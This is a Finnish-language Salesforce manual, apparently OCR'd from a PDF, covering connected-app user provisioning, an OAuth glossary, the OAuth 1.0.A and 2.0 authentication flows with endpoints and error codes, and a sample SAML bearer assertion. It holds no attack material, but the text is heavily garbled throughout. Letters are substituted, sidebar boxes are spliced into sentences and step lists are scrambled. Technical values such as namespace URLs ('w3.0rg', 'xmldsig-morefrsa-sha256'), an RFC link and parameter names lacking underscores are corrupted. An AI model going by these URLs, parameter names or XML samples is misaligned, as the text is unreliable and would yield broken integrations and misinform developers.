Linkin tila

Salesforce-organisaatiossa olevan kayttdjatilin ja kohdejarjestelmdssa olevan kayttajatilin valisen, tdimanhetkisen yhteyden tila.
Mahdolliset arvot ovat:

® linked — Salesforce-organisaatiossa olevaan tiliin tehdyt muutokset asetetaan jonoon, josta ne paivitetdan kohdejarjestelmdssa
olevaan kayttajatilin.

® duplicate — Kohdejarjestelmdssad on jo vastaavanlainen tili.
® orphaned — Kohdejdrjestelmdssd ei ole vastaavanlaista tilid.
* ignored— Salesforce-organisaatiossa olevaan tiliin tehdyt muutokset eivat vaikuta kohdejdrjestelmassa olevaan kayttajatiliin.

Voit muokata ndita arvoja yhdistetyn sovelluksen lisatietosivun Kayttajatilit-osiosta.

Yhdistetyn sovelluksen lisdtietosivun Kdyttajatilit-osio.

Yhdistetyn sovelluksen lisatietosivun Kayttajatilit-osio sisaltda luettelon kaikista havaituista ja kolmannen osapuolen palveluun liitetyista
tileistd. Kaytd tatd osiosta hallitaksesi kolmannen osapuolen tilin Linkin tila -arvoa ja muokataksesi tilin kokoonpanoon tallennettuja
lisatietoja.

Salesforce hallitsee tavallisesti kolmannen osapuolen palvelun Linkin tila -arvoa. Salesforce voi havaita ja liittdd kdyttdjatileja yhteen
Salesforce-organisaation ja kolmannen osapuolen jérjestelman valilld sovitteluprosessin aikana. Liitdntéd perustuu attribuutteihin, jotka

madritat kayttajien ohjatussa provisiointitoiminnossa.
Valitse Salli minun hallita tilin linkitysta -vaihtoehto vain, jos haluat hallita Linkin tila -arvoa Salesforcen sijaan.

Mahdolliset Linkin tila -arvot ovat:
Kdyttajien provisiointipyyntojen jakosaannot

Jos olet lisannyt kdyttajien provisiointikokoonpanoon hyvaksymisprosesseja, maarita jakosaannot siten, ettd muut (kuten toinen kayttdja
tai esimies) voivat tarkastella ja hyvaksya kdyttajan provisiointipyynnon
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Kirjoita Mdaritykset-valikon Pikahaku-kenttddn Jakoasetukset javalitse Jakoasetukset.

KATSO MYOS:
Yhdistettyjen sovellusten kdyttdjien provisiointi

Kayttajien provisioinnin madrittaminen yhdistetyille sovelluksille

Kayttdjien provisioinnin luominen yhdistettyjen sovellusten mukautetuille raporteille

Kayttdjien provisiointia yhdistetyissd sovelluksissa kdyttavat organisaatiot voivat suorittaa raportteja,
jotka ndyttavat provisioinnin tilit, pyynnét ja muita tietoja kayttdmalld mukautettuja raporttityyppejd.

1. Varmista, ettd tunnet mukautetut raporttityypit sekd niiden luomiseen ja ylldpitdmiseen tarvittavat
yleiset toimenpiteet.

2. Luo mukautettuja raporttityyppejd ndille objekteille ja muokkaa niita tarvittaessa. Salli kaikkien
kenttien kdyttd raporteissa. Lisad jokainen raportti Kdyttajien provisiointi -raporttityypin luokkaan.
Anna kullekin raporttityypille selked nimi ja kuvaus, jotta raportteja luovat kayttdjat voivat valita
tarpeisiinsa sopivan raporttityypin.

Ensisijainen objekti Kuvaus

Kayttdjien provisointitilit Siséltaa tietoja, jotka linkittavat
Salesforce-kdyttajatilin kolmannen osapuolen
kohdejarjestelmdssa, kuten Googlessa, olevaan
tiliin. Tama tehddan yhdistettyjen sovellusten

kayttdjille, joilla on Salesforce-kayttajien
provisiointi kaytdssa.

Kayttajien provisiointilokit Sisaltda viestit, jotka luotiin kayttajien
provisioinnin aikana kolmannen osapuolen
sovelluksille.

Kayttajien provisioinnin testikohteet Sisaltda kdyttdjatiedot, jotka voidaan testata

ennen kuin tietoja lahetetadn kolmannen
osapuolen jdrjestelmadn kayttajien
provisiointia varten.

Kayttajien provisiointipyynnét Siséltaa tietoja kunkin kayttdjan yksittdisista
provisiointipyynnaista.

KATSO MYOS:

Yhdistettyjen sovellusten kdyttdjien provisiointi
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EDITION-VERSIOT

Kéytettavissa: Salesforce
Classicissa

Ké&ytettdvissd: Enterprise
Edition-, Performance
Edition-, Unlimited Edition-
ja Developer Edition
-versioissa

KAYTTJAOIKEUDET

Mukautettujen
raporttityyppien luominen ja

pdivittdminen:
* Mukautettujen
raporttityyppien

hallintaoikeus

Mukautettujen

raporttityyppien

poistaminen:

e Kaikkien tietojen
muokkausoikeus
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Yhdistetyn sovelluksen asennuksen poistaminen

KAYTTJAOIKEUDET EDITION-VERSIOT

Lukeminen: Sovelluksen mukautusoikeus Kaytettavissa: Salesforce
Classicissa ja Lightning
Experiencessa

Luominen, pdivittdminen tai poistaminen:  Sovelluksen mukautusoikeus JA joko

kaikkien tietojen muokkausoikeus TAI

yhdistettyjen sovellusten hallintaoikeus Yhdistetty|d sovelluksia vol

luoda: Group Edition-,
Professional Edition-,
Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja

Kaikkien kenttien pdivittdminen, pois lukien Sovelluksen mukautusoikeus
Profiilit, Kayttdoikeusjoukot ja
Palveluntarjoajan SAML-attribuutit:

Profiilit-, Kayttdoikeusjoukot- ja Sovelluksen mukautusoikeus JA kaikkien Developer Edition
Palveluntarjoajan SAML-attribuutit- kenttien  tietojen muokkausoikeus -versioissa
pdivittdminen:

Yhdistettyja sovelluksia voi

Asennuksen poistaminen: Pakettien latausoikeus asentaa: kaikissa versioissa
AppExchange-palvelusta

Voit poistaa yhdistetyn sovelluksen organisaatiostasi poistamalla paketin, johon sovellus kuuluu.

@ Note: Kun yhdistetyn sovelluksen asennus poistetaan, sovelluksen kaikkien kayttajien kayttd- ja pdivitysvaltuudet poistetaan.
Tama estaa kdyttdjia suorittamasta sovellusta mydhemmin kdyttamalla olemassa olevaa kdyttdvaltuutta ilman, ettd he hyvaksyvat
sovelluksen itse.

Yhdistettyjen sovellusten ja OAuthin termisto

Kayttova'ltuus S o S o EDITION-VERSIOT
Arvo, jota kuluttaja kdyttad saadakseen kdyttdoikeuden suojattuihin resursseihin kayttdjan

puolesta kayttaméttd kdyttdjan Salesforce-tunnuksia.

Kéytettavissa: Salesforce

OAuth 1.0.A -version kayttGvaltuus taytyy vaihtaa istuntotunnukseen. Classicissa

OAuth 2.0 -version kdyttévaltuus on istuntotunnus, jota voidaan kdyttad suoraan. Kaytettdvissd: kaikissa
Valtuutuskoodi versioissa

Kaytossd vain OAuth 2.0 -versiossa Web-palvelinkulun kanssa. Lyhytaikainen valtuus, joka edustaa

loppukayttdjan myontdmada kayttdoikeutta. Valtuutuskoodia kdytetddn kdytto- ja KAYTTJAOIKEUDET

paivitysvaltuuksien hankkimiseen. Jos kdytat OAuth 1.0.A -versiota, katso Pyyntovaltuus.

OAuth-sovellusten hallinta,

Callbgck URL N o S . _ luominen, muokkaaminen

Asiakassovellukseesi liitetty URL. Joissakin konteksteissa tdman pitaa olla todellinen URL, johon ia poistaminen:

asiakassovelluksen verkkoselain ohjataan. Muissa tapauksissa URL-osoitetta ei oikeastaan kaytetd. * "Yhdisteftyjen sovellusten

Arvon taytyy kuitenkin olla sama asiakassovelluksesi ja palvelimen valilld (yhdistetyn hallinta"

sovelluksenmadritelma). Saatat esimerkiksi haluta kdyttad arvoa, joka osoittaa sovelluksen, kuten
http://OmaYritys.OmaSovellus.

Kuluttaja
Verkkosivusto tai sovellus, joka kdyttdd OAuth-todennusta Salesforce-kdyttdjan ja sovelluksen todentamiseen kayttdjan puolesta.

Kuluttajan avain
Arvo, jota kuluttaja kdyttad tunnistaakseen itsensa Salesforcessa. OAuth-versiossa 2.0 tdmdn viiteon client id.
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Kuluttajan salaisuus
Salaisuus, jota kuluttaja kdyttda madrittadkseen kuluttajan avaimen omistajuuden. OAuth-versiossa 2.0 tdman viite on
client secret.

Nonce-arvo
Numero, joka on usein satunnainen ja jota kdytetadn todennuksen yhteydessa varmistamaan, ettd pyyntéja ei voida kdyttda uudelleen.

Péivitysvaltuus
Kaytossa vain OAuth-versiossa 2.0. Valtuus, jota kuluttaja kayttdd uuden kayttévaltuuden hankkimiseen ilman, etta loppukayttdjan
tarvitsisi hyvaksya kayttooikeutta uudelleen.

Pyyntévaltuus
Arvo, jota kuluttaja kdyttad saadakseen valtuutuksen kdyttdjaltd, ja joka vaihdetaan kdyttdvaltuuteen. Pyyntévaltuuksia kdytetadn
vain OAuth 1.0.A - ja OAuth 2.0 -versiossa. Lisétietoja on kohdassa Valtuutuskoodi.

Palveluntarjoaja
Web-sovellus, joka sallii kdyttdoikeuden OAuth:in avulla. Téma on Salesforce-instanssisi, kun etdkayttd on otettu kdyttoon.

Valtuuden salaisuus
Salaisuus, jota kuluttaja kdyttaa madrittadkseen pyyntdvaltuuksien ja kdyttovaltuuksien omistajuuden.

Kayttaja
Henkil6, jolla on tunnukset Salesforce-sisadnkirjautumiseen.

KATSO MYOS:

Sovellusten OAuth-todennus

Sovelluksen todennus

Sovellusten OAuth-todennus

Kayttdjan taytyy olla Salesforcen todentama pyytdessaan Salesforce-tietojaan ulkoisesta sovelluksesta EDITION-VERSIOT
(kuluttajan sivulta). Jokaisessa todennuskulussa on useita vaiheita, perustuen OAuth-standardiin ja
Salesforcea kdyttavaan tahoon.

Kaytettavissa: Salesforce

Salesforce tukee OAuth-versioiden 1.0A ja 2.0 todennuskulkuja. Classicissa
e OAuth 1.0.A—Tassa OAuth-versiossa on vain yksi kulku. Kaytettavissa kaikissa
e OAuth 2.0 Web-palvelin — Suojatulla palvelimella isénnoitavat sovellukset kdyttavat versioissa.

Web-palvelimen todennuskulkua. Web-palvelimen kulun tarked osa on se, ettd palvelimen

taytyy pystya suojaamaan kuluttajien luottamuksellisia tietoja. Voit kdyttda kulussa myds koodin KAYTTJAOIKEUDET
haaste- ja vahvistinarvoja estdaksesi valtuuttamattoman koodin salakuuntelun.

o OAuth 2.0 -kdyttajdagentti—Kayttdjdagentin todennuskulku on kayttajien laitteilla sijaitsevien lOAuTh—soveIlusLin hallinta,
asiakassovellusten (kuluttajien) kdytdssa. Tamd voidaan totetuttaa selaimessa kayttamalla .gorg:;%%ir::r?. aaminen
ohjelmointikieltd, kuten JavaScript, tai mobiililaitteesta tai tydpoytasovelluksesta. Namad kuluttajat 1ap )

e o - * "Yhdisteftyjen sovellusten
eivét voi pitda asiakkaan tietoja luottamuksellisina. hallinta”

e OAuth 2.0 -pdivitysvaltuuden kulku — Kun kuluttajalle on mydnnetty kdyttdoikeus, han voi
kdyttad pdivitysvaltuutta saadakseen uuden kdyttdvaltuuden (istunnon tunnuksen). Tama
tehddan vasta, kun kuluttaja on vastaanottanut pdivitysvaltuuden kdyttamalla Web-palvelimen tai kdyttdjdagentin kulkua.

e OAuth 2.0 JWT Bearer -valtuuden kulku — OAuth 2.0 JWT bearer -valtuuden kulku maarittaa, miten JWT:td voidaan kayttaa
OAuth-kéyttooikeusvaltuuden pyytdmiseen Salesforcesta, kun asiakas haluaa kayttad aiempaa todennusta. JWT:hen sovellettu
digitaalinen allekirjoitus tarjoaa valtuutetun sovelluksen todennuksen.
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e OAuth 2.0 SAML Bearer -vahvistuskulku — OAuth 2.0 SAML-vahvistuskulku maarittad, miten SAML-vahvistusta voidaan kayttaa
OAuth-kdyttooikeusvaltuuden pyytamiseen, kun asiakas haluaa kayttaa aiempaa todennusta. SAML-vahvistukseen sovellettu
digitaalinen allekirjoitus tarjoaa valtuutetun sovelluksen todennuksen.

e SAML-vahvistuskulku — SAML-vahvistuskulku on vaihtoehto organisaatioille, jotka kdyttavat talla hetkelld SAML:ia Salesforcen
kdyttdmiseen ja jotka haluavat kayttad Web Services APl:a samalla tavalla. SAML-vahvistuskulkua voidaan kdyttda vain yhden
organisaation sisdlld. Sinun ei tarvitse luoda yhdistettyd sovellusta taman vahvistuskulun kayttamiseksi.

e OAuth 2.0 -kdyttdjanimi ja -salasana — Kayttdjanimi/salasana-todennuskulkua voidaan kayttaa todennukseen, kun kuluttajalla on
jo kayttdjan valtuutukset.

Q Varoitus: Tama OAuth-todennuskulku sisaltaa kayttdjien valtuutusten siirtdmistd edestakaisin. Kayta tatd todennuskulkua
vain tarvittaessa. Pdivitysvaltuutta ei myonnetd.

Jos kayttajaa pyydetadn vahvistamaan kayttooikeutensa missa tahansa todennuskulussa, ja hdn napsauttaa sen sijaan linkkig, jonka
mukaan han ei ole talld hetkelld sisdankirjautunut kayttdja, nykyinen kayttaja kirjataan ulos ja todennuskulku alkaa uudelleen kayttajan
todentamisesta.

@ Nofe: Kayttdjt voivat valtuuttaa sovelluksen kdyttdmadan Salesforcea useammin kuin kerran, esimerkiksi sekd kannettavalla
tietokoneella ettd pdytdkoneella. Oletusrajoitus on viisi valtuutusta per sovellus per kdyttajd. Jos kdyttdjd yrittad myontad sovellukseen
kayttooikeutta organisaation rajoitusta useammin, sovelluksen viimeksi kaytetty kdyttdvaltuus kumotaan. Web-palvelunkulkua
kayttavat uudemmat sovellukset (jotka kayttavat OAuth 2.0 -protokollaa) hyvaksytadan automaattisesti lisalaitteille, kun kayttajd on
myontanyt kdyttdoikeuden kerran. Kdyttdjaagentin kulku vaatii kayttajan hyvaksynnan joka kerta.

OAuth 2.0 -padtepisteet

OAuth 2.0:n kolme ensisijaista padtepistetta ovat:

e Authorization — https://omaToimialue.my.salesforce.com/services/oauth2/authorize
e Token— https://omaToimialue.my.salesforce.com/services/oauth2/token

e Revoke— https://omaToimialue.my.salesforce.com/services/oauth2/revoke
Katso lisdtietoja kdyttdoikeuksien kumoamisesta kohdasta OAuth-tunnusten kumoaminen sivulla 217.

Kéytd sandboxille osoitetta test.salesforce.com osoitteen yourDomain.salesforce.com sijasta.

OAuth 1.0.A -todennuksen kulku
OAuth 1.0.A -versiossa on yksi todennuksen kulku. EDITION-VERSIOT

Alla on kuvaukset yksittdisistd vaiheista.
Kéytettdvissa: Salesforce

Classicissa ja Lightning
Kuluttaja ohjaa kdyttdjan Salesforceen, jossa hantd pyydetddn kirjautumaan sisaan. Experiencessa

1. Kuluttaja pyytda Pyyntovaltuutta. Salesforce vahvistaa pyynnon ja palauttaa pyyntovaltuuden.

Salesforce valtuuttaa kayttdjan. Kaytettivissa kaikissa

Kun kdyttdja on todennettu, kuluttaja pyytda Kdyttovaltuutta. Vversioissa.

Salesforce vahvistaa pyynnon ja myontda valtuuden.

o v &M W N

Kun valtuus on mydnnetty, kuluttaja kdyttad tietoja joko sovelluksestaan tai KAYTTJAOIKEUDET

Force.com-Web-palvelujen API:sta. OAuth-sovellusfen hallinta,

7. Salesforce vahvistaa pyynnén ja myontdd kayttéoikeuden tietoihin. luominen, muokkaaminen

ja poistaminen:

e "Yhdistettyjen sovellusten
hallinta"

Seuraavat osiot kuvaavat nditd vaiheita yksityiskohtaisemmin.
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O Vihje: Jos haluat kayttdd yhdistettyd sovellusta sandboxin kanssa, kdytd seuraavissa osioissa osoitetta test . salesforce.com
osoitteen login.salesforce.com Sijaan.

Luettelo Salesforcen mahdollisesti palauttamista virhekoodeista on kohdassa OAuth 1.0.A -virhekoodit sivulla 192.

Pyyntovaltuuden pyytdminen

Kun kuluttaja tekee ensimmadisen pyynndn Salesforcelle ja pyyntd on kdypd, RequestToken palautetaan. Seuraavat vaiheet sisaltavat
lisdtietoja kehittdjille, jotka kayttdvdt yhdistettyd sovellusta Salesforce-tietojen pyytamiseen.

1. Kuluttajasovelluksen taytyy kdyttad Salesforce-tietoja ja ldhettda pyynndn osoitteeseen
https://login.salesforce.com/ nc_external/system/security/oauth/RequestTokenHandler.
Pyyntd sisdltaa:

e Pyyntovaltuuden kdyvan pyynnon, joka sisdltaa seuraavat OAuth-parametrit.

oauth consumer key

oauth signature method — tdytyy olla HMAC-SHA1
ocoauth signature

ocauth timestamp

ocauth nonce

oauth version—valinnainen, taytyy olla "1.0"

oauth callback—taytyy olla jokin seuraavista:

e Kuluttajan isdanndima URL, esimerkiksi,
https://www.appirio.com/sfdc_accounts/access_token ready.html.Tdmd URL kdyttds
https-protokollaa tai muuta protokollaa. Se ei voi kdyttaa http-protokollaa.

® oob elikaistan ulkopuolinen.

e HMAC-SHAT:n OAuth-maaritteen mukaisesti luotu allekirjoitus sivulla 191.

2. Kun Salesforce on vastaanottanut pyynnon, Salesforce:

e vahvistaa pyynnén omalla kuluttajan salaisuuden kopiollaan

e |uo vastauksen, joka sisdltad Pyyntovaltuuden tai Pyyntdvaltuussalaisuuden HTTP-rungossa nimi-/arvopareina.

e |dhettdd vastauksen takaisin kuluttajalle

Pyyntdvaltuus on voimassa vain 15 minuuttia, plus kolme minuuttia laitteiden kellojen erojen takia.

3. Kuluttaja ohjaa kayttajan Salesforce-sisadnkirjautumissivulle seuraavan osion mukaisesti.

Kayttdjan valtuuttaminen

Kun kuluttaja on tehnyt pyynnon Salesforcelle, Salesforcen tdytyy todentaa kéyttdjd ennen prosessin jatkumista. Seuraava osio sisltad

yksityiskohtaisia tietoja sisddnkirjautumisesta kehittdjille, jotka kayttavat yhdistettyd sovellusta Salesforce-tietojen pyytamiseen.

1. Kuluttaja ohjaa kdyttdjat seuraavaan sijaintiin, jossa heitd kehotetaan kirjautumaan sisaan:

https://login.salesforce.com/setup/secur/RemoteAccessAuthorizationPage.apexp.Asiaan
kuuluvat GET-pyyntoparametrit lisatdan tahan URL:dan.

® oauth_ token - Pyyntovaltuus

® oauth consumer key
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@ Note: Jos oauth callback-parametrilisdtadn, se ohitetaan.

2. FEtdkdyton valtuutuksen sivu avautuu.
3. Jos kdyttdja myontaa kayttooikeuden kuluttajalle, Salesforce luo kdyttévaltuuden ja kdyttévaltuussalaisuuden.
@ Note: Kayttdja voi myontaa sovellukselle rajallisen madrdn samanaikaisia kayttdoikeusvaltuuksia. Oletusarvo on viisi

kayttooikeutta kayttdjaa kohti. Jos tdma valtuutus ylittda organisaation rajoituksen, kayttdjalle iimoitetaan, etta kdyttdoikeuden
myontdminen kumoaa automaattisesti taltd sovellukselta valtuuden tai valtuudet, joiden kdyttamisesta on kulunut pisin aika.

4. Salesforce vahvistaa callback-URL:n (joko yhdistetyn sovelluksen mdéritelmé-sivuilta tai edellisen vaiheen
oauth_callback-parametrista). Jokin seuraavista uudelleenohjauksista tapahtuu:

e Jos pyyntdvaltuudessa madritetty oauth callback on oob ja yhdistetyn sovelluksen madritelmd-sivun
Callback-URL-kentdssa on kdypa arvo, kdyttdjd siirretdan kyseiseen URL-osoitteeseen.

e Jos Pyyntovaltuudessa madritetty oauth callback onkdypd URL, kdyttdja siirretadn kyseiseen URL-osoitteeseen.

5. Kuluttajalle ilmoitetaan, etta AccessToken ja AccessTokenSecret ovat kaytettdvissd. Kuluttaja saa vahvistusvaltuuden Salesforcelta
tai vahvistuskoodin loppukayttajalta.

Kayttévaltuuden pyytéminen

Kun kdyttdja on todennettu, kuluttaja voi muuttaa Pyyntdvaltuuden Kdyttovaltuudeksi. Seuraava osio sisdltad yksityiskohtaisia tietoja
valtuuksien vaihtamisesta kehittdjille, jotka kdyttdvat yhdistettya sovellusta Salesforce-tietojen pyytdmiseen.

1. Kuluttaja tekee HTTPS GET- tai POST-pyynndn osoitteeseen
https://login.salesforce.com/ nc_external/system/security/oauth/AccessTokenHandler
ja lisad tarvittavat parametrit query- tai post-tietoihin.

® oauth consumer key

® oauth signature method
® oauth signature

® oauth timestamp

® oauth token

® oauth nonce

® oauth verifier

® oauth_ version—valinnainen, tdytyy olla "1.0"

2. Salesforce vahvistaa seuraavat elementit.
e kuluttajasalaisuuden
e kuluttaja-avaimen
e allekirjoituksen
e ettd pyyntdvaltuutta ei ole kdytetty ennen
e aikamerkinnadn (voimassa 15 minuuttia, plus kolme minuuttia laitteiden kellojen erojen takia)

e ettd Nonce-arvoa ei ole kdytetty ennen

3. Salesforce palauttaa vahvistuksen yhteydessa Kayttovaltuuden ja Kayttévaltuussalaisuuden HTTP-vastausosassa nimi/arvo-pareina.
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oauth_signature-valtuutuksen luominen kirjautumiselle

Voit kdyttad Salesforcea kayttdmalla joko kayttolittymda tai APl:a. Kijautumiselle kaytettdvd oauth signature luodaan eritavalla,
riippuen kdyttamadstdsi menetelmasta.

e Kayttoliittyma — kdytd osoitetta https://login.salesforce.comn allekirjoituksen luomiseen

e APl—kaytdosoitetta https://login.salesforce.com/services/OAuth/tyyppi/api-versio allekirjoituksen
luomiseen.

tyyppi taytyy olla jokin seuraavista arvoista.
= u — Partner WSDL
- ¢ — Enterprise WSDL

Esimerkiksi https://login.salesforce.com/services/OAuth/u/17.0.

Salesforce-tietojen kdayttdminen kuluttajasovelluksella

Kun kuluttaja on saanut voimassa olevan Kayttévaltuuden, yhdistetty sovellus voi pyytaa kayttdoikeutta Salesforce-tietoihin. Seuraava
osio sisaltda yksityiskohtaisia tietoja tietojen kayttdmisestd kehittdjille, jotka kayttavdt yhdistettyd sovellusta pyytadkseen Salesforce-tietoja.

1. Kuluttaja tekee HTTPS POST -pyynndn osoitteeseen https://login.salesforce.com jalisdd tarvittavat parametrit
todennuksen tunnisteeseen.

® oauth consumer key

® oauth token

® oauth signature method
® oauth signature

® oauth timestamp

® oauth nonce

* ocauth version (valinnainen, taytyy olla "1.0")

2. Salesforce vahvistaa pyynnon ja ldhettdd kuluttajalle voimassa olevan istuntotunnuksen. Istuntotunnus on lyhytaikainen ja kelpaa
vain frontdoor jsp-tiedostolle. Jos haluat hankkia suoraan kéytettavan istuntotunnuksen, kdyta API-kdyttdoikeusvaltuuden vaihtoa.

Salesforce-tietojen kayttdminen API:n avulla

Kun kuluttaja on saanut voimassa olevan kdyttovaltuuden, yhdistetty sovellus voi pyytad kayttooikeutta Salesforce-tietoihin Force.com
Web Services API:n avulla.

@ Note: Organisaatiollasi taytyy olla kdyttoikeus sekd APLiin ettd yhdistettyyn sovellukseen. Saat lisatietoja ottamalla yhteytta
Salesforce-edustajaasi.

Seuraava osio sisaltda yksityiskohtaisia tietoja tietojen kayttamisesta kehittdjille, jotka kayttavat yhdistettya sovellusta pyytadkseen
Salesforce-tietoja.

1. Kuluttaja tekee HTTPS POST -pyynndn Salesforcelle.

e URL taytyy olla seuraavassa muodossa:
https://login.salesforce.com/services/OAuth/tyyppi/api-versio.

tyyppi taytyy olla jokin seuraavista arvoista.
- u — Partner WSDL
= ¢ — Enterprise WSDL
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api-versio taytyy olla voimassa oleva API-versio.

e Todennustunnisteen taytyy sisaltdd seuraavat parametrit.
- oauth consumer key
- oauth_ token
- oauth signature method
— oauth signature
- oauth timestamp
— oauth nonce

- oauth version (valinnainen, taytyy olla "1.0")

2. Salesforce vahvistaa pyynnon ja ldhettdd kuluttajalle voimassa olevan istuntotunnuksen. Vastaustunniste sisaltdd seuraavan.

<response>
<metadataServerUrl>https://yourInstance.salesforce.com/services/Soap/m/17.0/00D300000006gjK

</metadataServerUrl>
<sandbox>false</sandbox>
<serverUrl>https://yourInstance.salesforce.com/services/Soap/u/17.0/00D300000006gjK

</serverUrl>
<sessionId>00D300000006grN!AQoAQITMzwTa67tGgQcklng xgMSUWVBpFwZ1xUq2kLjMYg6Zg
GTS8Ezu_ C3wOpdT1DMyHiJgB6fbhhEPxKjGglYnlROIUsl</sessionId>
</response>

KATSO MYOS:

Sovellusten OAuth-todennus

OAuth 1.0.A -virhekoodit

Salesforce palauttaa seuraavat virhekoodit OAuth 1.0.A -todennuskulun aikana. Palautettu virhekoodi perustuu vastaanotettuun virheeseen.

Virhekoodi Virhe Huomautukset

1701 Virhe: Nonce-arvo toistettu Nonce-arvoa voidaan kayttaa vain kerran.

1702 Virhe: Kuluttajan avain -parametri puuttuu

1703 Virhe: Kdyttovaltuus ei kelpaa

1704 Virhe: Versiota ei tueta Maarité cauth_version-parametriin arvo 1.0.

1705 Virhe: Aikamerkinta ei kelpaa Aikamerkinta puuttuu, on tuleva, lilan vanha tai sen muoto
ei kelpaa.

1706 Virhe: Nonce-arvo ei kelpaa Nonce-arvo puuttuu.

1707 Virhe: OAuth-valtuus-parametri puuttuu

1708 Virhe: IP-osoite ei ole sallittu
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Virhekoodi Virhe Huomautukset

1709 Virhe: Allekirjoitusmenetelmd ei kelpaa Pyyntovaltuuden
oauth signature method-parametriei kelpaa.

1710 Virhe: Callback URL ei kelpaa Pyyntévaltuuden oauth callback-parametriei
kelpaa. Arvon tdytyy olla oob tai kdypd URL, joka kayttdd
https:ad.

1711 Virhe: Vahvistaja ei kelpaa Kayttdpyynnon oauth verifier-parametrieikelpaa.

1712 Virhe: Kdyttdvaltuuksien saantiraja ylitetty Pyyntdvaltuus voidaan yrittad vaihtaa Kayttévaltuudeksi

vain kolme kertaa.
1713 Virhe: Kuluttaja poistettu Etakayttosovellus on poistettu Salesforce-organisaatiosta.

1716 Virhe: OAuth Api -kdyttdoikeus poistettu kdytostd Joko Force.com-Web-palvelujen API ei ole kdytdssa
organisaatiossasi, tai OAuth APl -kdyttdoikeus on poistettu
organisaatiosi kdytosta.

OAuth 2.0 SAML Bearer -vahvistuskulku

SAML-vahvistus on XML-suojausvaltuus, jonka henkildllisyydentarjoaja yleensa myontda kaytettavaksi EDITION-VERSIOT
palveluntarjoajalle, joka kdyttad sen sisaltdd tunnistaakseen vahvistuksen aiheen tietosuojan takia.

OAuth 2.0 SAML bearer -vahvistuskulku mdarittda, miten SAML-vahvistusta voidaan kdyttda Kaytettavissa: Salesforce
OAuth-kdyttooikeusvaltuuden pyytamiseen, kun asiakas haluaa kayttad aiempaa todennusta. Classicissa

SAML-vahvistukseen sovellettu digitaalinen allekirjoitus tarjoaa valtuutetun sovelluksen todennuksen. N L s
Kéytettavissa kaikissa

Yksityiskohtaisempi selitys [6ytyy taalta: Versioissa.
http://tools.ietf.org/html/draft-ietf-oauth-saml2-bearer.

KAYTTJAOIKEUDET

OAuth 2.0 SAML Bearer -vahvistuskulun yhteenveto
OAuth-sovellusten hallinta,

OAuth 2.0 SAML bearer -vahvistuskulku on OAuth:in pdivityskulun kaltainen. SAML-vahvistus luominen, muokkaaminen
POST-ldhetetadn OAuth-valtuuden péatepisteeseen, joka vuorostaan kasittelee vahvistuksen ja ja poistaminen:

myontdd access_token-valtuuden sovelluksen aikaisemman hyvaksynndn perusteella. Asiakkaan * "Yhdistettyjen sovellusten
ei tarvitse kuitenkaan saada tai tallentaa refresh_token-valtuutta eikd hallinta”

client secret-valtuutta tarvitse lahettad valtuuden padtepisteeseen.
Alla on kuvattu yleiset vaiheet OAuth 2.0 SAML bearer -vahvistuskulun kayttamiseen:

1. Kehittdja luo yhdistetyn sovelluksen ja rekisteroi X509-sertifikaatin. Sertifikaatti vastaa sovelluksen yksityistd avainta. Kun yhdistetty
sovellus tallennetaan, kuluttajan avain (OAuth client id)luodaan ja kohdistetaan sovellukselle.

Kehittdjd kirjoittaa sovelluksen, joka luo SAML-vahvistuksen, ja allekirjoittaa sen yksityiselld avaimellaan.
Vahvistus POST-lahetetdan valtuuden padtepisteeseen https://login.salesforce.com/services/oauth2/token.
Valtuuden péatepiste vahvistaa allekirjoituksen kayttamalla kehittdjan rekisterdimaa sertifikaattia.

Valtuuden pdatepiste vahvistaa vahvistuksen yleisén, myéntajan, aiheen ja voimassaolon.

o v W N

Jos vahvistus on voimassa ja kayttdjd tai padkayttdja on valtuuttanut sovelluksen aiemmin, Salesforce myontda
access_token-valtuuden.

@ Note: Tdssd kulussa ei koskaan mydnnetd refresh token-valtuutta.
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SAML Bearer -vahvistuksen luominen
Kehittdjan tdytyy luoda kaypa SAML bearer -vahvistus, joka noudattaa seuraavia sdantoja:

° Mydntajan tdytyyollaOAuth client id taiyhdistetty sovellus, jolle kehittdjd rekisterdi sertifikaattinsa.
® Yleisd tdytyyolla https://login.salesforce.com tai https://test.salesforce.com

® Vastaanottaja tdytyyolla https://login.salesforce.com/services/oauth2/token tai
https://test.salesforce.com/services/oauth2/token.

® Aiheen nimitunnuksen téytyy olla halutun Salesforce-kdyttdjan kayttajanimi.
e Arviointi taytyy allekirjoittaa XML-allekirjoituksen mdadritteelld, kdyttamalla RSA:ta sekd joko SHA-1:td tai SHA-256:tta.

e SAML-vahvistuksen taytyy noudattaa yleisia muotoilusadntéja, jotka on maaritetty taalla:
http://tools.ietf.org/html/draft-ietf-oauth-saml2-bearer

e Kun vahvistus POST-ldhetetdan valtuuden padtepisteeseen, sen taytyy olla base64url-koodattu, niin kuin tadlla on madritetty:
http://tools.ietf.org/html/rfcd648#page-7

Alla on esimerkki vahvistuksesta:

<?xml version="1.0" encoding="UTF-8"?>
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID=" cd364903639560458bc9d9b33dfeeB8d21378409114655" IssueInstant="2013-09-05T19:25:14.6542"
Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
xmlns:saml="urn:oasis:names:tc:SAML: 2. 0:assertion">3MVGIPhR6G6B7ps45Q0RVhVGEAMITR DT4kxXzVXOo6TTHE3001nmgOAstCO2
49gSUiUeEDcuGV4tmAxyo fV8j</saml:Issuer>
<ds:Signature xmlns:ds="http://www.w3.0rg/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.0rg/2001/10/xml-exc-cl4n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.0rg/2001/04/xmldsig-morefrsa-sha256"/>
<ds:Reference URI="# cd3649b3639560458bc9d9%33dfee8d21378409114655">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.0rg/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform
Algorithm="http://www.w3.0rg/2001/10/xml-exc-cl4n#"><ec:InclusiveNamespaces
xmlns:ec="http://www.w3.0rg/2001/10/xml-exc-cl4n#" PrefixList="ds saml"/>
</ds:Transform>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.0rg/2000/09/xmldsig#shal"/>
<ds:DigestValue>N8DxylbIeNg8JDO87TWIgXGkoIWA=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>
XV01FJrkhJykGYQbIsOJBFEHdt4pe2gBgitcXrscNVX2hKGpwQ+WgjF8EKrqV4Q3/Q4KglrX1l/6s
